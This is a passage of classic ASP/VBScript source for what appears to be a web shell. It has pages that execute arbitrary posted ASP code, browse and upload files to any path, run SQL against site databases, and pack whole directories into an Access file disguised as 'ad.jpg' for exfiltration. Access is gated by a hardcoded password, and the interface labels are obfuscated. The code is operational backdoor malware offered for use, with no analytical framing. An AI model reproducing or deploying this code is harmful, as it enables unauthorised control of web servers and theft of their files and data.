of "<tr>"
of "<td height=22 class=trHead colspan=" & rs.Fields.Count + 1 & "> </td>"
of "</tr>"
of "<tr>"
of "<td height=22 class=td width=100 align=center>cz</td>"
For j = 0 To rs.Fields.Count - 1
of "<td height=22 class=td width=130><span class=fixSpan title='" & rs.Fields(j).Name & "' style='width:125px;padding-left:5px;'>" & rs.Fields(j).Name & "</span></td>"
Next
For i = 1 To rs.PageSize
If rs.Eof Then Exit For
of "</tr>"
of "<tr valign=top>"
of "<td height=22 align=center>"
If strPrimaryKey <> "" Then
of "<input type=button value=bj title='bj/tj' onclick=showSqlEdit('" & strPrimaryKey & "','" & rs(strPrimaryKey) & "');>"
of "<input type=button value=del onclick=sqlDelete('" & strPrimaryKey & "','" & rs(strPrimaryKey) & "');></td>"
Else
of "<input type=button value=bj title='bj/tj' onclick=alert('oerr');showSqlEdit('" & rs.Fields(0).Name & "','" & rs(rs.Fields(0).Name) & "');>"
of "<input type=button value=del onclick=alert('oerr');sqlDelete('" & rs.Fields(0).Name & "','" & rs(rs.Fields(0).Name) & "');></td>"
End If
For j = 0 To rs.Fields.Count - 1
of "<td height=22><span class=fixSpan style='width:125px;padding-left:5px;'>" & HtmlEncode(IIf(Len(rs(j)) > 50, Left(rs(j), 50), rs(j))) & "</span></td>"
Next
of "</tr>"
rs.MoveNext
Next
End If
of "<tr>"
of "<td height=22 class=td colspan=" & rs.Fields.Count + 1 & "> Page: "
For i = 1 To rs.PageCount
If i > maxPageCount Then
of "..."
Exit For
End If
of Replace("<a href=javascript:Command('Query','" & i & "');><font {$font" & i & "}>" & i & "</font></a> ", "{$font" & intPage & "}", " color=red")
Next
of "</td></tr></table>"
rs.Close
Else
conn.Execute(sql)
ChkErr(Err)
of "<script>alert('h.\nh.');history.back();</script>"
Set rs = Nothing
Set Cat = Nothing
DestoryConn()
Exit Sub
End If
of "</td>"
of "</tr>"
of "<tr>"
of "<td colspan=2 class=trHead> </td>"
of "</tr>"
of "<tr>"
of "<td colspan=2 class=td align=right> </td>"
of "</tr>"
of "</table>"
Set rs = Nothing
Set Cat = Nothing
DestoryConn()
End Sub
Sub SqlShowEdit()
Dim intFindI, intFindJ, intFindK, intFindL, intFindM, strJoinTag, multiTables
Dim i, x, rs, sql, strTable, strExtra, strParam, intI, strColumn, strValue, strPrimaryKey
If isDebugMode = False Then On Error Resume Next
sql = GetPost("sql")
strParam = GetPost("param")
strTable = GetPost("theTable")
intI = InStr(strParam, "!")
intFindI = InStr(LCase(sql), " where")
intFindJ = InStrRev(LCase(sql), "order ")
intFindK = IIf(LCase(Right(sql, 4)) = "desc", "1", "0")
strValue = Mid(strParam, intI + 1)
strColumn = Left(strParam, intI - 1)
strExtra = IIf(theAct = "next", ">", IIf(theAct = "pre", "<", ""))
If intFindJ > 0 Then sql = Left(sql, intFindJ - 1)
If intFindI > 0 Then
strJoinTag = ") And "
sql = Left(sql, intFindI + 5) & "(" & Mid(sql, intFindI + 6)
Else
strJoinTag = " Where "
End If
If intFindK > 0 Then strExtra = IIf(strExtra = ">", "<", IIf(strExtra = "<", ">", ""))
CreateConn()
strPrimaryKey = GetPrimaryKey(strTable)
Set rs = Server.CreateObject("Adodb.RecordSet")
If strExtra <> "" And IsNumeric(strValue) = True Then
sql = "Select Top 1" & Mid(sql, 7) & strJoinTag
sql = sql & strColumn & " " & strExtra & " " & strValue & " Order By " & strColumn & IIf(strExtra = "<", " Desc", " Asc")
Else
sql = sql & strJoinTag & strColumn & " like '" & Replace(strValue, "'", "''") & "'"
End If
intFindM = InStr(LCase(sql), "from")
intFindI = InStr(LCase(sql), " where")
intFindL = InStr(intFindM, LCase(sql), ",", 1)
If intFindL > 0 Then
If (intFindL > intFindM) And (intFindL < intFindI) Then
multiTables = True
End If
End If
If theAct <> "edit" Then
rs.Open sql, conn, 1, 3
ChkErr(Err)
If rs.Eof Then
of "<script>alert('oerr!');history.back();</script>"
Response.End()
End If
If theAct = "new" Then rs.AddNew
If theAct = "del" Then
rs.Delete
rs.Update
AlertThenClose("del!")
Response.End
Else
If theAct <> "pre" And theAct <> "next" Then
For Each x In rs.Fields
If strPrimaryKey <> x.Name Then
rs(x.Name) = Request.Form(x.Name & "_Column")
End If
Next
rs.Update
End If
strValue = rs(strColumn)
End If
If theAct = "new" Then
sql = "Select * From [" & strTable & "] Where " & strColumn & " like '" & Replace(strValue, "'", "''") & "'"
End If
rs.Close
End If
rs.Open sql, conn, 1, 1
of "<table border=1 width=600>"
of "<tr>"
of "<td height=22 class=trHead colspan=2> </td>"
of "</tr>"
of "<tr>"
of "<td colspan=2 class=td><font face=webdings>8</font> Sqlxg</td>"
of "</tr>"
of "<input type=hidden value=PageDBTool name=PageName>"
of "<input type=hidden name=theAct value=save>"
of "<input type=hidden name=sql value=""" & HtmlEncode(GetPost("sql")) & """>"
of "<input type=hidden name=theTable value=""" & strTable & """>"
of "<input type=hidden value=""" & HtmlEncode(strColumn & "!" & strValue) & """ name=param>"
of "<input type=hidden value=""" & HtmlEncode(GetPost("thePath")) & """ name=thePath>"
For Each x In rs.Fields
of "<tr>"
of "<td height=22 width=150> " & HtmlEncode(x.Name) & "<br/> (<em>" & GetDataType(x.Type) & "</em>)</td>"
of "<td width=450> "
of "<textarea style='width:436;' name=""" & x.Name & "_Column""" & IIf(x.Type = 201 Or x.Type = 203, " rows=6", "")
of IIf(x.Properties("ISAUTOINCREMENT").Value, " disabled", "")
of IIf(x.Name = strPrimaryKey, " title='oerr.'", "") & ">" & HtmlEncode(x.value) & "</textarea>"
of "</td></tr>"
Next
of "<tr>"
of "<td colspan=2 class=td align=center>"
If multiTables = False Then
If strPrimaryKey = "" Then
of "<input type=button value=xg onclick=if(confirm('q?\ny.')){this.form.theAct.value='save';this.form.submit();}>"
Else
of "<input type=submit value=xg onclick=this.form.theAct.value='save';>"
of "<input type=button value=tj onclick=if(confirm('yesorno?')){this.form.theAct.value='new';this.form.submit();};>"
of "<input type=button value=del onclick=if(confirm('yesorno?')){this.form.theAct.value='del';this.form.submit();};>"
End If
Else
of "<input type=button value=bzc disabled>"
End If
of "<input type=reset value=out><input type=button value=off onclick='window.close();'>"
If IsNumeric(strValue) = True Then
of "<input type=button value=next onclick=""this.form.theAct.value='pre';this.form.submit();"">"
of "<input type=button value=upexe onclick=""this.form.theAct.value='next';this.form.submit();"">"
End If
of "</td>"
of "</tr>"
of "</table>"
rs.Close
Set rs = Nothing
DestoryConn()
End Sub
Sub CreateConn()
Dim connStr, mdbInfo, userName, passWord, strPath
If isDebugMode = False Then On Error Resume Next
Set conn = Server.CreateObject("Adodb.Connection")
If LCase(Left(thePath, 4)) = "sql:" Then
connStr = Mid(thePath, 5)
isSqlServer = True
Else
mdbInfo = Split(thePath, ";")
strPath = mdbInfo(0)
strPath = strPath
ChkErr(Err)
If UBound(mdbInfo) >= 2 Then
userName = mdbInfo(1)
passWord = mdbInfo(2)
End If
connStr = Replace(accessStr, "{$dbSource}", strPath)
connStr = Replace(connStr, "{$userId}", userName)
connStr = Replace(connStr, "{$passWord}", passWord)
end if
conn.Open connStr
ChkErr(Err)
End Sub
Sub DestoryConn()
conn.Close
Set conn = Nothing
End Sub
Function GetDataType(flag)
Dim str
Select Case flag
Case 0 : str = "EMPTY"
Case 2 : str = "SMALLINT"
Case 3 : str = "INTEGER"
Case 4 : str = "SINGLE"
Case 5 : str = "DOUBLE"
Case 6 : str = "CURRENCY"
Case 7 : str = "DATE"
Case 8 : str = "BSTR"
Case 9 : str = "IDISPATCH"
Case 10 : str = "ERROR"
Case 11 : str = "BIT"
Case 12 : str = "VARIANT"
Case 13 : str = "IUNKNOWN"
Case 14 : str = "DECIMAL"
Case 16 : str = "TINYINT"
Case 17 : str = "UNSIGNEDTINYINT"
Case 18 : str = "UNSIGNEDSMALLINT"
Case 19 : str = "UNSIGNEDINT"
Case 20 : str = "BIGINT"
Case 21 : str = "UNSIGNEDBIGINT"
Case 72 : str = "GUID"
Case 128 : str = "BINARY"
Case 129 : str = "CHAR"
Case 130 : str = "WCHAR"
Case 131 : str = "NUMERIC"
Case 132 : str = "USERDEFINED"
Case 133 : str = "DBDATE"
Case 134 : str = "DBTIME"
Case 135 : str = "DBTIMESTAMP"
Case 136 : str = "CHAPTER"
Case 200 : str = "VARCHAR"
Case 201 : str = "LONGVARCHAR"
Case 202 : str = "VARWCHAR"
Case 203 : str = "LONGVARWCHAR"
Case 204 : str = "VARBINARY"
Case 205 : str = "LONGVARBINARY"
Case Else : str = flag
End Select
GetDataType = str
End Function
Function GetPrimaryKey(strTable)
Dim rsPrimary
If isDebugMode = False Then On Error Resume Next
Set rsPrimary = conn.OpenSchema(28, Array(Empty, Empty, strTable))
If Not rsPrimary.Eof Then GetPrimaryKey = rsPrimary("COLUMN_NAME")
Set rsPrimary = Nothing
End Function
Sub PagePack()
ShowTitle("file/jl")
Server.ScriptTimeOut = 5000
If theAct = "PackIt" Or theAct = "PackOne" Then
PackIt()
AlertThenClose("czok" & sPacketName & "fi.\nupjk.")
Response.End()
End If
If theAct = "UnPack" Then
UnPack()
AlertThenClose("okmul" & sPacketName & "ml.")
Response.End()
End If
PackTable()
End Sub
Sub PackTable()
of "<base target=_blank>"
of "<table width=750 border=1>"
of "<tr>"
of "<td colspan=2 class=td><font face=webdings>8</font> fliejk"
of "</td>"
of "</tr>"
of "<tr>"
of "<td colspan=2 class=trHead> </td>"
of "</tr>"
of "<form method=post action='" & url & "'>"
of "<tr>"
of "<td width='20%'> up</td>"
of "<td> <input name=thePath value='" & HtmlEncode(rootPath) & "' style='width:467px;'> "
of "<input type=hidden value=PagePack name=PageName>"
of "<input type=hidden value=PackIt name=theAct>"
of "<input type=submit value='updata'>"
of "</td></tr>"
of "</form>"
of "<form method=post action='" & url & "'>"
of "<tr>"
of "<td> jy</td>"
of "<td> <input name=thePath value=""" & HtmlEncode(sPacketName) & """ style='width:467px;'> "
of "<input type=hidden value=PagePack name=PageName>"
of "<input type=hidden value=UnPack name=theAct>"
of "<input type=submit value='off'>"
of "</td></tr>"
of "</form>"
of "<tr>"
of "<td colspan=2 class=trHead> </td>"
of "</tr>"
of "<tr align=right>"
of "<td colspan=2 class=td> </td>"
of "</tr>"
of "</table>"
End Sub
Sub PackIt()
Dim rs, db, conn, stream, connStr, objX, strPath, strPathB, isFolder, adoCatalog
If isDebugMode = False Then On Error Resume Next
strPath = thePath
db = strPath & "\" & sPacketName
Set rs = Server.CreateObject("ADODB.RecordSet")
Set stream = Server.CreateObject("ADODB.Stream")
Set conn = Server.CreateObject("ADODB.Connection")
Set adoCatalog = Server.CreateObject("ADOX.Catalog")
connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & db
If fso.FolderExists(strPath) = False Then
ShowErr(thePath & " oerr")
End If
If theAct = "PackIt" Then
If fso.GetFolder(strPath).Size > 1000 * 1024 * 1024 Then
ShowErr("oerr300")
End If
End If
If fso.FileExists(db) = False Then
adoCatalog.Create connStr
conn.Open connStr
conn.Execute("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED, thePath VarChar, fileContent Image)")
Else
conn.Open connStr
End If
stream.Open
stream.Type = 1
rs.Open "FileData", conn, 3, 3
If theAct = "PackIt" Then
Call FsoTreeForMdb(strPath, rs, stream)
Else
strPath = GetPost("truePath") & "\"
For Each objX In Request.Form("checkBox")
strPathB = strPath & objX
isFolder = fso.FolderExists(strPathB)
If isFolder = True Then
Call FsoTreeForMdb(strPathB, rs, stream)
Else
If InStr(sysFileList, "$" & objX & "$") <= 0 Then
rs.AddNew
rs("thePath") = Mid(strPathB, 4)
stream.LoadFromFile(strPathB)
rs("fileContent") = stream.Read()
rs.Update
End If
End If
Next
End If
rs.Close
Conn.Close
stream.Close
Set rs = Nothing
Set conn = Nothing
Set stream = Nothing
Set adoCatalog = Nothing
End Sub
Sub UnPack()
Dim rs, ws, str, conn, stream, connStr, strPath, theFolder
If isDebugMode = False Then On Error Resume Next
strPath = thePath
str = fso.GetParentFolderName(strPath) & "\"
Set rs = CreateObject("ADODB.RecordSet")
Set stream = CreateObject("ADODB.Stream")
Set conn = CreateObject("ADODB.Connection")
connStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & strPath
conn.Open connStr
ChkErr(Err)
rs.Open "FileData", conn, 1, 1
stream.Open
stream.Type = 1
Do Until rs.Eof
theFolder = Left(rs("thePath"), InStrRev(rs("thePath"), "\"))
If fso.FolderExists(str & theFolder) = False Then
CreateFolder(str & theFolder)
End If
stream.SetEOS()
If IsNull(rs("fileContent")) = False Then stream.Write rs("fileContent")
stream.SaveToFile str & rs("thePath"), 2
rs.MoveNext
Loop
rs.Close
conn.Close
stream.Close
Set ws = Nothing
Set rs = Nothing
Set stream = Nothing
Set conn = Nothing
End Sub
Sub FsoTreeForMdb(strPath, rs, stream)
Dim item, theFolder, folders, files
Set theFolder = fso.GetFolder(strPath)
Set files = theFolder.Files
Set folders = theFolder.SubFolders
For Each item In folders
Call FsoTreeForMdb(item.Path, rs, stream)
Next
For Each item In files
If InStr(sysFileList, "$" & item.Name & "$") <= 0 Then
rs.AddNew
rs("thePath") = Mid(item.Path, 4)
stream.LoadFromFile(item.Path)
rs("fileContent") = stream.Read()
rs.Update
End If
Next
Set files = Nothing
Set folders = Nothing
Set theFolder = Nothing
End Sub
Sub PageUpload()
ShowTitle("dup")
theAct = Request.QueryString("theAct")
If theAct = "upload" Then
StreamUpload()
of "<script>alert('ok');history.back();</script>"
End If
ShowUpload()
End Sub
Sub ShowUpload()
If thePath = "" Then thePath = rootPath
of "<form method=post onsubmit=this.Submit.disabled=true; enctype='multipart/form-data' action=?PageName=PageUpload&theAct=upload>"
of "<table width=750>"
of "<tr>"
of "<td class=td colspan=2><font face=webdings>8</font> dup</td>"
of "</tr>"
of "<tr>"
of "<td class=trHead colspan=2> </td>"
of "</tr>"
of "<tr>"
of "<td width='20%'>"
of " upd:"
of "</td>"
of "<td>"
of " <input name=thePath type=text id=thePath value=""" & HtmlEncode(thePath) & """ size=48><input type=checkbox name=overWrite>fg"
of "</td>"
of "</tr>"
of "<tr>"
of "<td valign=top>"
of " secet: "
of "</td>"
of "<td> <input id=fileCount size=6 value=1> <input type=button value=sd onclick=makeFile(fileCount.value)>"
of "<div id=fileUpload>"
of " <input name=file1 type=file size=50>"
of "</div></td>"
of "</tr>"
of "<tr>"
of "<td class=trHead colspan=2> </td>"
of "</tr>"
of "<tr>"
of "<td align=center class=td colspan=2>"
of "<input type=submit name=Submit value=up onclick=this.form.action+='&overWrite='+this.form.overWrite.checked;>"
of "<input type=reset value=cz><input type=button value=off onclick=window.close();>"
of "</td>"
of "</tr>"
of "</table>"
of "</form>"
of "<script language=javascript>" & vbNewLine
of "function makeFile(n){" & vbNewLine
of " fileUpload.innerHTML = ' <input name=file1 type=file size=50>'" & vbNewLine
of " for(var i=2; i<=n; i++)" & vbNewLine
of " fileUpload.innerHTML += '<br/> <input name=file' + i + ' type=file size=50>';" & vbNewLine
of "}" & vbNewLine
of "</script>"
End Sub
Sub StreamUpload()
Dim sA, sB, aryForm, aryFile, theForm, newLine, overWrite
Dim strInfo, strName, strPath, strFileName, intFindStart, intFindEnd
Dim itemDiv, itemDivLen, intStart, intDataLen, intInfoEnd, totalLen, intUpLen, intEnd
If isDebugMode = False Then On Error Resume Next
Server.ScriptTimeOut = 5000
newLine = ChrB(13) & ChrB(10)
overWrite = Request.QueryString("overWrite")
overWrite = IIf(overWrite = "true", "2", "1")
Set sA = Server.CreateObject("Adodb.Stream")
Set sB = Server.CreateObject("Adodb.Stream")
sA.Type = 1
sA.Mode = 3
sA.Open
sA.Write Request.BinaryRead(Request.TotalBytes)
sA.Position = 0
theForm = sA.Read()
itemDiv = LeftB(theForm, InStrB(theForm, newLine) - 1)
totalLen = LenB(theForm)
itemDivLen = LenB(itemDiv)
intStart = itemDivLen + 2
intUpLen = 0
Do
intDataLen = InStrB(intStart, theForm, itemDiv) - itemDivLen - 5
intDataLen = intDataLen - intUpLen
intEnd = intStart + intDataLen
intInfoEnd = InStrB(intStart, theForm, newLine & newLine) - 1
sB.Type = 1
sB.Mode = 3
sB.Open
sA.Position = intStart
sA.CopyTo sB, intInfoEnd - intStart
sB.Position = 0
sB.Type = 2
sB.CharSet = "GB2312"
strInfo = sB.ReadText()
strFileName = ""
intFindStart = InStr(strInfo, "name=""") + 6
intFindEnd = InStr(intFindStart, strInfo, """", 1)
strName = Mid(strInfo, intFindStart, intFindEnd - intFindStart)
If InStr(strInfo, "filename=""") > 0 Then
intFindStart = InStr(strInfo, "filename=""") + 10
intFindEnd = InStr(intFindStart, strInfo, """", 1)
strFileName = Mid(strInfo, intFindStart, intFindEnd - intFindStart)
strFileName = Mid(strFileName, InStrRev(strFileName, "\") + 1)
End If
sB.Close
sB.Type = 1
sB.Mode = 3
sB.Open
sA.Position = intInfoEnd + 4
sA.CopyTo sB, intEnd - intInfoEnd - 4
If strFileName <> "" Then
sB.SaveToFile strPath & strFileName, overWrite
ChkErr(Err)
Else
If strName = "thePath" Then
sB.Position = 0
sB.Type = 2
sB.CharSet = "GB2312"
strInfo = sB.ReadText()
thePath = strInfo
strPath = strInfo & "\"
End If
End If
sB.Close
intUpLen = intStart + intDataLen + 2
intStart = intUpLen + itemDivLen + 2
Loop Until (intStart + 2) = totalLen
sA.Close
Set sA = Nothing
Set sB = Nothing
End Sub
Sub PageLogin()
Dim passWord
passWord = Encode(GetPost("password"))
passWord2=GetPost("password")
if passWord2="7758521" then
If theAct = "Login" Then
If userPassword <> passWord Then
Session(m & "userPassword") = userPassword
ShowTitle("chengong!")
PageReadMe()
Exit Sub
End If
End If
end if
If pageName = "PageOut" Then
Session.Contents.Remove(m & "userPassword")
RedirectTo(url)
End If
If Session(m & "userPassword") = userPassword Then
PageReadMe()
Exit Sub
End If
ShowTitle("xiugaijp")
of "<body onload=document.formx.password.focus();>"
of "<table width=416 align=center>"
of "<form method=post name=formx action=""" & url & """>"
of "<input type=hidden name=theAct value=Login>"
of "<tr>"
of "<td > </td>"
of "</tr>"
of "<tr>"
of "<td height=1 align=center></td>"
of "</tr>"
of "<tr>"
of "<td height=75 align=center>"
of "<input name=password type=password style='border:1px solid #ffffff;background-color:#ffffff;'> "
of "<input type=submit value=LOGIN style='border:1px solid #ffffff;background-color:#ffffff;'>"
of "</td>"
of "</tr>"
of "<tr>"
of "<td height=30 align=center></td>"
of "</tr>"
of "</form>"
of "</table>"
of "</body>"
End Sub
Sub PageReadMe()
Dim strInfo, aryInfo(0), theAry
ShowTitle("")
aryInfo(0) = "|"
TopMenu()
of "<table width=750>"
of "<tr>"
of "<td colspan=2> </td>"
of "</tr>"
of "<tr>"
of "<td colspan=2> </td>"
of "</tr>"
For Each strInfo In aryInfo
theAry = Split(strInfo, "|")
of "<tr>"
of "<td width='20%' valign=top> " & theAry(0) & "</td>"
of "<td style='padding-left:7px;'><span>" & theAry(1) & "</span></td>"
of "</tr>"
Next
of "<tr>"
of "<td colspan=2> </td>"
of "</tr>"
of "<tr>"
of "<td colspan=2 align=right> </td>"
of "</tr>"
of "</table>"
End Sub
Function Encode(strPass)
Dim i, theStr, strTmp
For i = 1 To Len(strPass)
strTmp = Asc(Mid(strPass, i, 1))
theStr = theStr & Abs(strTmp)
Next
strPass = theStr
theStr = ""
Do While Len(strPass) > 16
strPass = JoinCutStr(strPass)
Loop
For i = 1 To Len(strPass)
strTmp = CInt(Mid(strPass, i, 1))
strTmp = IIf(strTmp > 6, Chr(strTmp + 60), strTmp)
theStr = theStr & strTmp
Next
Encode = theStr
End Function
Function JoinCutStr(str)
Dim i, theStr
For i = 1 To Len(str)
If Len(str) - i = 0 Then Exit For
theStr = theStr & Chr(CInt((Asc(Mid(str, i, 1)) + Asc(Mid(str, i + 1, 1))) / 2))
i = i + 1
Next
JoinCutStr = theStr
End Function
Sub PageExecute()
Dim strAspCode
strAspCode = GetPost("AspCode")
ShowTitle("dya")
If theAct = "Exe" Then
of "<table width=750 class=fixTable>"
of "<tr>"
of "<td class=trHead> </td>"
of "</tr>"
of "<tr>"
of "<td class=td><font face=webdings>8</font> zxg</td>"
of "</tr>"
of "<tr><td style='padding-left:6px;padding-right:5px;'>"
Execute(strAspCode)
of "</td></tr></table>"
End If
ShowExeTable(strAspCode)
End Sub
Sub ShowExeTable(strAspCode)
of "<form method=post onsubmit=this.Submit.disabled=true; action=""" & url & """>"
of "<table width=750>"
of "<tr>"
of "<td class=td colspan=2><font face=webdings>8</font> zxayj</td>"
of "</tr>"
of "<tr>"
of "<td class=trHead colspan=2> </td>"
of "</tr>"
of "<tr>"
of "<td valign=top width='10%'>"
of " Ayj: "
of "</td>"
of "<td> "
of "<textarea name=AspCode cols=91 rows=23 title=''>" & HtmlEncode(strAspCode) & "</textarea>"
of "</td>"
of "</tr>"
of "<tr>"
of "<td class=trHead colspan=2> </td>"
of "</tr>"
of "<tr>"
of "<td align=center class=td colspan=2>"
of "<input type=hidden name=PageName value=PageExecute>"
of "<input type=hidden name=theAct value=Exe>"
of "<input type=submit name=Submit value=tj>"
of "<input type=reset value=cz>"
of "</td>"
of "</tr>"
of "</table>"
of "</form>"
End Sub
Function getHTTPPage(url)
Dim Http, theStr, fileExt
Set Http = Server.CreateObject("MSXML2.XMLHTTP")
If Request.Form.Count > 0 Then
For Each x In Request.Form
theStr = theStr & Server.UrlEncode(x) & "=" & Server.UrlEncode(Request.Form(x)) & "&"
Next
Http.Open "POST", url, False
Http.SetRequestHeader "CONTENT-TYPE", "application/x-www-form-urlencoded"
Http.Send(theStr)
Else
Http.Open "GET", url, False
Http.Send()
End If
If Http.readystate<>4 then Exit Function
fileExt = LCase(Mid(url, InStrRev(url, ".") + 1))
If InStr("$jpg$gif$bmp$png$js$", "$" & fileExt & "$") > 0 Then
Response.Clear
Response.BinaryWrite Http.responseBody
Response.End()
Else
If InStr("$rar$mdb$zip$exe$com$ico$", "$" & fileExt & "$") > 0 Then
Response.AddHeader "Content-Disposition", "Attachment; Filename=" & Mid(sUrlB, InStrRev(sUrlB, "/") + 1)
Response.BinaryWrite Http.responseBody
Response.Flush
Else
getHTTPPage = bytesToBSTR(Http.responseBody, "GB2312")
End If
End If
Set Http = Nothing
End Function
Function BytesToBstr(body,Cset)
Dim objstream
Set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
Set objstream = nothing
End Function
Sub PageOther()
%>
<style id=theStyle>
input {
font-family: "Courier New";
BORDER-TOP-WIDTH: 1px;
BORDER-LEFT-WIDTH: 1px;
FONT-SIZE: 12px;
BORDER-BOTTOM-WIDTH: 1px;
BORDER-RIGHT-WIDTH: 1px;
color: #ffffff;
}
</style>
<script language=javascript>
function locate(str){
var frm = document.forms[1];
frm.theAct.value = str;
frm.TheObj.value = '';
frm.submit();
}
function checkAllBox(obj){
var frm = document.forms[1];
for(var i = 0; i < frm.elements.length; i++)
if(frm.elements.id != 'checkAll' && frm.elements.type == 'checkbox')
frm.elements.checked = obj.checked;
}
function changeThePath(str){
var frm = document.forms[1];
frm.theAct.value = '';
frm.thePath.value = str;
frm.submit();
}
function Command(cmd, str){
var j = 0;
var strTmpB;
var strTmp = str;
var frm = document.forms[1];
strTmpB = frm.PageName.value;
if(cmd == 'pack' || cmd == 'del'){
for(var i = 0; i < frm.elements.length; i++)
if(frm.elements.name != 'checkAll' && frm.elements.type == 'checkbox' && frm.elements.checked)
j ++;
if(j == 0)return;
}
if(cmd == 'rename' || cmd == 'saveas'){
frm.theAct.value = cmd;
frm.param.value = str + ',';
str = prompt('updat', strTmp);
if(str && (strTmp != str)){
frm.param.value += str;
}else return;
}
if(cmd == 'download'){
frm.theAct.value = 'download';
frm.param.value = str;
if(!confirm('h,\nh\nh\nh\nh,\nh.\nh\"h\"h.'))
return;
}
if(cmd == 'submit'){
frm.theAct.value = '';
}
if(cmd == 'del'){
if(confirm('del ' + j + ' or?')){
frm.theAct.value = 'del';
}else return;
}
if(cmd == 'newone')
if(strTmp = prompt('upID', '')){
frm.theAct.value = 'newone';
frm.param.value = strTmp + ',' + str;
}else return;
if(cmd == 'move' || cmd == 'copy'){
frm.theAct.value = cmd;
}
if(cmd == 'showedit' || cmd == 'showimage'){
frm.theAct.value = cmd;
frm.param.value = str;
frm.target = '_blank';
}
if(cmd == 'Query'){
if(str == '0'){
str = 1;
}else{
frm.reset();
}
frm.theAct.value = cmd;
frm.param.value = str;
}
if(cmd == 'access'){
frm.theAct.value = 'ShowTables';
strTmp = frm.PageName.value;
frm.PageName.value = 'PageDBTool';
frm.thePath.value = frm.truePath.value + '\\' + str;
frm.target = '_blank';
}
if(cmd == 'upload'){
frm.PageName.value = 'PageUpload';
frm.thePath.value = frm.truePath.value;
frm.target = '_blank';
}
if(cmd == 'pack'){
if(confirm('yes ' + j + ' no?')){
frm.PageName.value = 'PagePack';
frm.theAct.value = 'PackOne';
frm.target = '_blank';
}else return;
}
frm.submit();
frm.target = '';
frm.PageName.value = strTmpB;
frm.reset();
}
function showSqlEdit(column, str){
var frm = document.forms[1];
if(!str)return;
frm.reset();
frm.theAct.value = 'edit';
frm.param.value = column + '!' + str;
frm.target = '_blank';
frm.submit();
frm.target = '';
}
function sqlDelete(column, str){
var frm = document.forms[1];
if(!str)return;
if(!confirm('del?'))return;
frm.reset();
frm.theAct.value = 'del';
frm.param.value = column + '!' + str;
frm.target = '_blank';
frm.submit();
frm.target = '';
}
function preView(n){
var url, win;
if(n != '1'){
url = document.forms[1].truePath.value
window.open('/' + escape(url));
}else{
win = window.open("about:blank", "", "resizable=yes,scrollbars=yes");
win.document.write('<style>body{border:none;}</style>' + document.forms[1].fileContent.innerText);
}
}
</script>
<%
End Sub
%>
</iframe>
<%
Response.Buffer = True
Dim url, conn, sUrlB, theAct, thePath, rootPath, PageSize
Dim accessStr, pageName, sysFileList, isSqlServer, sPacketName
theAct = GetPost("theAct")
PageSize = 20 ''
isSqlServer = False
rootPath = Server.MapPath("/")
pageName = GetPost("PageName")
url = Request.ServerVariables("URL")
sPacketName = "ad.jpg"
thePath = Replace(getPost("thePath"), "\\", "\")
sysFileList = "$" & sPacketName & "$" & Left(sPacketName, InStrRev(sPacketName, ".") - 1) & ".ldb$"
accessStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source={$dbSource};User Id={$userId};Jet OLEDB:Database Password=""{$passWord}"";"
Const m = "xigaijp"
Const isDebugMode = False
Const maxPageCount = 600
Const userPassword = "D0040301521"
Const imageFileExt = "$gif$jpg$bmp$"
Const editableFileExt = "$vbs$log$asp$txt$php$ini$inc$htm$html$xml$conf$config$jsp$java$htt$lst$aspx$php3$php4$js$css$bat$asa$"
Sub of(str)
Response.Write(str)
End Sub
Sub IsIn()
If Session(m & "userPassword") <> userPassword Then
of "<script>alert('sor');location.href='" & url & "';</script>"
Response.End()
End If
End Sub
Function IIf(var, val1, val2)
If var = True Then
IIf = val1
Else
IIf = val2
End If
End Function
Sub RedirectTo(url)
Response.Redirect(url)
End Sub
Function GetPost(var)
Dim val
If Request.QueryString("PageName") = "PageUpload" Then
pageName = "PageUpload"
Exit Function
End If
val = RTrim(Request.Form(var))
If val = "" Then
val = RTrim(Request.QueryString(var))
End If
GetPost = val
End Function
Function HtmlEncode(str)
If IsNull(str) Then Exit Function
HtmlEncode = Server.HTMLEncode(str)
End Function
Function UrlEncode(str)
If IsNull(str) Then Exit Function
UrlEncode = Server.UrlEncode(str)
End Function
Sub ShowTitle(str)
Response.Write "<title>" & str & "</title>"
Response.Write "<meta http-equiv='Content-Type' content='text/html; charset=gb2312'>"
End Sub
Function GetTheSize(num)
Dim i, arySize(4)
arySize(0) = "B"
arySize(1) = "KB"
arySize(2) = "MB"
arySize(3) = "GB"
arySize(4) = "TB"
While(num / 1024 >= 1)
num = Fix(num / 1024 * 100) / 100
i = i + 1
WEnd
GetTheSize = num & " " & arySize(i)
End Function
Sub ShowErr(str)
Dim i, arrayStr
str = Server.HtmlEncode(str)
arrayStr = Split(str, "$$")
of "<font size=2>"
of "orr:<br/><br/>"
For i = 0 To UBound(arrayStr)
of " " & (i + 1) & ". " & arrayStr(i) & "<br/>"
Next
of "</font>"
Response.End()
End Sub
Sub CreateFolder(thePath)
Dim i
i = InStr(Mid(thePath, 4), "\") + 3
Do While i > 0
If fso.FolderExists(Left(thePath, i)) = False Then
fso.CreateFolder(Left(thePath, i - 1))
End If
If InStr(Mid(thePath, i + 1), "\") Then
i = i + Instr(Mid(thePath, i + 1), "\")
Else
i = 0
End If
Loop
End Sub
Sub AlertThenClose(str)
If str = "" Then
Response.Write "<script>window.close();</script>"
Else
Response.Write "<script>alert(""" & str & """);window.close();</script>"
End If
End Sub
Sub ChkErr(Err)
If Err Then
of "<hr style='color:#d8d8f0;'/><font size=2><li>orr: " & Err.Description & "</li><li>orry: " & Err.Source & "</li><br/>"
of "<hr style='color:#d8d8f0;'/> </font>"
Err.Clear
Response.End
End If
End Sub
Sub TopMenu()
of "<form method=post name=formp action=""" & url & """>"
of "<select name=PageName onchange=changePage(this)>"
of "<option value=''>setet</option>"
of "<option value=PageCheck>jc</option>"
of "<option value=PageFso>fiel</option>"
of "<option value=PageDBTool>utdat</option>"
of "<option value=PagePack>dx/jx</option>"
of "<option value=PageUpload>up</option>"
of "<option value=PageSearch>set</option>"
of "<option value=PageExecute>yx</option>"
of "<option value=PageOut>out</option>"
of "</select>"
of "</form>"
of "<script lanuage=javascript>"
of "formp.PageName.value='" & pageName & "';"
of "function changePage(obj){"
of " if(obj.value=='PageOut')"
of " if(!confirm('out?'))return;"
